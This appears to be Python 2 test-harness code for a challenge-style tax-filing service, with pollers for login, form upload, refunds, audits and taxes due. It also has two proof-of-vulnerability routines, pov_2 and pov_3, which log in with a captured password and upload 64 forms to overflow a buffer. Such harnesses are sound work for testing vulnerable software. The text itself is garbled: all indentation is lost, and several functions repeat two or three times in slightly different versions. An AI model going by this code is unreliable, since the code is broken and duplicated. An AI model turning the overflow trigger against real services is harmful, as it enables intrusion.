def create_account(self, taxpayer=None):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
if True == isinstance(taxpayer, TaxPayer):
tp = taxpayer
else:
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT,
tp.gen_new_taxpayer_data_bytes())
if DEBUG:
print s
buf = s.gen_bytes()
self.write(buf)
pwd = self.state['s'].add_new_taxpayer(s, tp)
resp = Response(s.key, pwd, self.OK)
if DEBUG:
print resp
buf = resp.gen_bytes()
self.read(length=len(buf), expect=buf)
return 0
def create_account(self, taxpayer=None):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
if True == isinstance(taxpayer, TaxPayer):
tp = taxpayer
else:
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
if DEBUG:
print s
buf = s.gen_bytes()
self.write(buf)
pwd = self.state['s'].add_new_taxpayer(s, tp)
resp = Response(s.key, pwd, self.OK)
if DEBUG:
print resp
buf = resp.gen_bytes()
self.read(length=len(buf), expect=buf)
return 0
def logout(self):
'''
Logout to end a session
'''
if DEBUG:
print "cmd: logout -----------"
s_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGOUT, "")
s_invalid = True
else:
s.cmd = self.LOGOUT
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGOUT_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
else:
# remove session
self.state['sessions'].pop(s.username)
resp = Response(s.key, ans, res)
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer), expect=buf[:len(resp.answer)])
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st), expect=st)
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf), expect=buf)
return 0
def logout(self):
'''
Logout to end a session
'''
if DEBUG:
print "cmd: logout -----------"
s_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGOUT, "")
s_invalid = True
else:
s.cmd = self.LOGOUT
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGOUT_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
else:
# remove session
self.state['sessions'].pop(s.username)
resp = Response(s.key, ans, res)
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer), expect=buf[:len(resp.answer)])
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st), expect=st)
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf), expect=buf)
return 0
def pov_3(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT,
tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8 + 128 - 12)
tp.password = "******" * 12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12 + 128 + 8)
def pov_3(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8+128-12)
tp.password = "******"*12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
def get_audited(self):
'''
Get audited.
'''
if DEBUG:
print "cmd: get audited"
s_invalid = False
s = self._get_random_session()
a_invalid = False
cmd = self.TRIGGER_AUDIT
if self.chance(0.4):
cmd = self.TRIGGER_AUDIT2
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, cmd, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
s = Session(s.key, tp, cmd, "")
buf = s.gen_bytes()
self.write(buf)
ar = AuditRecord(tp)
if tp.id in self.state['s'].audits:
a_invalid = True
res = self.OK
ans = self.LUCKY_DAY
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == a_invalid:
res = self.ERR
ans = self.AUDIT_FAIL
elif 0 == len(ar.tax_years):
ans = self.LUCKY_DAY
else:
ans = self.YOU_WIN + ''.join([sp.pack_single_uint16(y) for y in ar.tax_years])
self.state['s'].audit_taxpayer(ar)
if DEBUG:
print "audit years: {0}".format(ar.tax_years)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def taxes_submitted(self):
'''
Determine list of years in which a taxpayer submitted a TenFourD
'''
if DEBUG:
print "cmd: taxes submitted"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
years = []
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_SUBMITTED, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
years = tp.get_list_submitted_tax_years(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_SUBMITTED, tdo.gen_bytes())
if DEBUG:
print tdo
print " years: {0}".format(years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_SUBMITTED_FAIL
else:
ans = self.TAXES_SUBMITTED_OK + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def get_refund(self):
'''
Get tax refund.
'''
if DEBUG:
print "cmd: get refund"
s_invalid = False
s = self._get_random_session()
p_invalid = False
years = []
refund = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.GET_REFUND, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
refund, years = tp.get_list_refund()
if [] == years:
p_invalid = True
s = Session(s.key, tp, self.GET_REFUND, "")
if DEBUG:
print "refund {0} years: {1}".format(refund, years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == p_invalid:
res = self.ERR
ans = self.GET_REFUND_FAIL
else:
ans = self.GET_REFUND_OK + sp.pack_single_uint32(refund) + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def upload_form(self):
'''
Upload a tax form
'''
if DEBUG:
print "cmd: upload form"
s_invalid = False
t4d_invalid = False
s = self._get_random_session()
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.UPLOAD_FORM, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
t4d = TenFourD(tp)
t4d.gen_totals_and_ds()
for t in tp.tax_forms:
if t.tax_year == t4d.tax_year:
t4d_invalid = True
break
s = Session(s.key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.UPLOAD_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == t4d_invalid:
res = self.ERR
ans = self.UPLOAD_FAIL
else:
# add t4d to taxpayer
tp.tax_forms.append(t4d)
resp = Response(s.key, ans, res)
if DEBUG:
print s
print tp
print t4d
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key)+len(resp.answer)]
buf = buf[len(resp.s_key)+len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(len(buf), sp.hexify(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key) + len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key) + len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf) - len(resp.result))
# read result
buf = buf[len(buf) - len(resp.result):]
self.read(length=len(buf))
return 0
def login(self):
'''
Login to establish a session
'''
if DEBUG:
print "cmd: login -----------"
tp_invalid = False
tp = self.state['s'].get_rand_taxpayer()
if False == isinstance(tp, TaxPayer):
# create invalid taxpayer to trigger fail paths
tp = self._gen_random_taxpayer()
tp_invalid = True
s_key = sp.random_string(12)
s = Session(s_key, tp, self.LOGIN, "")
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.LOGIN_OK
if tp.username in self.state['sessions']:
res = self.ERR
# taxpayer is already logged in
s_old = self.state['sessions'][tp.username]
if s_old.key != s.key:
ans = self.LOGIN_FAIL
else:
ans = self.NICE_TRY
elif True == tp_invalid:
# taxpayer has not registered or provided invalid creds
res = self.ERR
ans = self.LOGIN_FAIL
else:
# rock on
self.state['sessions'][tp.username] = s
resp = Response(s_key, ans, res)
if DEBUG:
print s
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def taxes_due(self):
'''
Determine total amount of tax due (+) or to be refunded (-)
'''
if DEBUG:
print "cmd: taxes due"
s_invalid = False
s = self._get_random_session()
tdo = DateRange(randint(0, 0xfff), randint(0, 0xffff))
tdo_invalid = False
sum_due = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.TAXES_DUE, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
if False == tdo.is_valid():
tdo_invalid = True
else:
sum_due = tp.get_sum_taxes_due(tdo.start_date, tdo.end_date)
s = Session(s.key, tp, self.TAXES_DUE, tdo.gen_bytes())
if DEBUG:
print tdo
print " sum_due: {0}".format(sum_due)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == tdo_invalid:
res = self.ERR
ans = self.TAXES_DUE_FAIL + sp.pack_single_int32(sum_due)
else:
ans = self.TAXES_DUE_OK + sp.pack_single_int32(sum_due)
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def get_refund(self):
'''
Get tax refund.
'''
if DEBUG:
print "cmd: get refund"
s_invalid = False
s = self._get_random_session()
p_invalid = False
years = []
refund = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.GET_REFUND, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
refund, years = tp.get_list_refund()
if [] == years:
p_invalid = True
s = Session(s.key, tp, self.GET_REFUND, "")
if DEBUG:
print "refund {0} years: {1}".format(refund, years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == p_invalid:
res = self.ERR
ans = self.GET_REFUND_FAIL
else:
ans = self.GET_REFUND_OK + sp.pack_single_uint32(refund) + ''.join(
[sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if DEBUG:
print " Username: {0}".format(tp.username)
print " Response: K:{0}, A:{1}, R:{2} {3}".format(
len(resp.s_key), len(resp.answer), len(resp.result), resp)
buf = resp.gen_bytes()
if DEBUG:
print " resp buf: ({0}) {1}".format(len(buf), sp.hexify(buf))
print " as text {0}".format(buf)
if res == self.ERR:
# cannot match key on ERR conditions, so just read len
e = buf[:len(resp.s_key)]
buf = buf[len(resp.s_key):]
self.read(length=len(e))
if DEBUG:
print " read resp.s_key = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
e = buf[:len(resp.answer)]
buf = buf[len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
else:
e = buf[:len(resp.s_key) + len(resp.answer)]
buf = buf[len(resp.s_key) + len(resp.answer):]
self.read(length=len(e), expect=e)
if DEBUG:
print " read resp.s_key + resp.answer = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
# we've read the key and answer, the rest of the answer bytes are
# junk, so just read len
e = buf[:-len(resp.result)]
buf = buf[-len(resp.result):]
self.read(length=len(e))
if DEBUG:
print " read -len(resp.result) = ({0}) {1}".format(
len(e), sp.hexify(e))
print " new buf {0}".format(sp.hexify(buf))
self.read(length=len(buf), expect=buf)
if DEBUG:
print " read final len(buf) = ({0}) {1}".format(
len(buf), sp.hexify(buf))
return 0
def get_refund(self):
'''
Get tax refund.
'''
if DEBUG:
print "cmd: get refund"
s_invalid = False
s = self._get_random_session()
p_invalid = False
years = []
refund = 0
if None == s:
# create invalid session to trigger fail paths
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.GET_REFUND, "")
s_invalid = True
else:
tp = self.state['s'].get_taxpayer_by_username(s.username)
refund, years = tp.get_list_refund()
if [] == years:
p_invalid = True
s = Session(s.key, tp, self.GET_REFUND, "")
if DEBUG:
print "refund {0} years: {1}".format(refund, years)
buf = s.gen_bytes()
self.write(buf)
res = self.OK
ans = self.TAXES_DUE_OK
if True == s_invalid:
res = self.ERR
ans = self.NICE_TRY
elif True == p_invalid:
res = self.ERR
ans = self.GET_REFUND_FAIL
else:
ans = self.GET_REFUND_OK + sp.pack_single_uint32(refund) + ''.join([sp.pack_single_uint16(y) for y in years])
resp = Response(s.key, ans, res)
if DEBUG:
print resp
buf = resp.gen_bytes()
if res == self.ERR:
# cannot match key on ERR conditions, so trim
# it and assign it to regex
self.read(length=len(resp.s_key), assign=self.state['randkey'])
buf = buf[len(resp.s_key):]
self.read(length=len(resp.answer))
buf = buf[len(resp.answer):]
else:
st = buf[:len(resp.s_key)+len(resp.answer)]
self.read(length=len(st))
buf = buf[len(resp.s_key)+len(resp.answer):]
# we've read the key and answer, the rest of the answer bytes are
# junk, so ignore them.
self.read(length=len(buf)-len(resp.result))
# read result
buf = buf[len(buf)-len(resp.result):]
self.read(length=len(buf))
return 0
def pov_2(self):
'''
Create a new account
'''
if DEBUG:
print "cmd: create account -----------"
# create account
tp = self._gen_random_taxpayer()
s_key = sp.random_string(12)
s = Session(s_key, tp, self.CREATE_ACCOUNT, tp.gen_new_taxpayer_data_bytes())
buf = s.gen_bytes()
self.write(buf)
# read s_key
self.read(length=12)
# read password
self.read(length=12, assign=self.state['pwd'])
# read the rest
self.read(length=8+128-12)
tp.password = "******"*12
if DEBUG:
print "cmd: login -----------"
s_key = sp.random_string(12)
s_loggedin = Session(s_key, tp, self.LOGIN, "")
(buf1, buf2) = s_loggedin.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
if DEBUG:
print "cmd: upload form -----------"
# 64 will fill buffer to max
tf_year = randint(0, 0xEFFF)
for _ in range(64):
t4d = TenFourD(tp)
t4d.tax_year = tf_year
tf_year += 1
t4d.gen_totals_and_ds()
tp.tax_forms.append(t4d)
s = Session(s_key, tp, self.UPLOAD_FORM, t4d.gen_bytes())
(buf1, buf2) = s.gen_bytes2()
self.write(buf1)
self.write(self.state['pwd'])
self.write(buf2)
self.read(length=12+128+8)
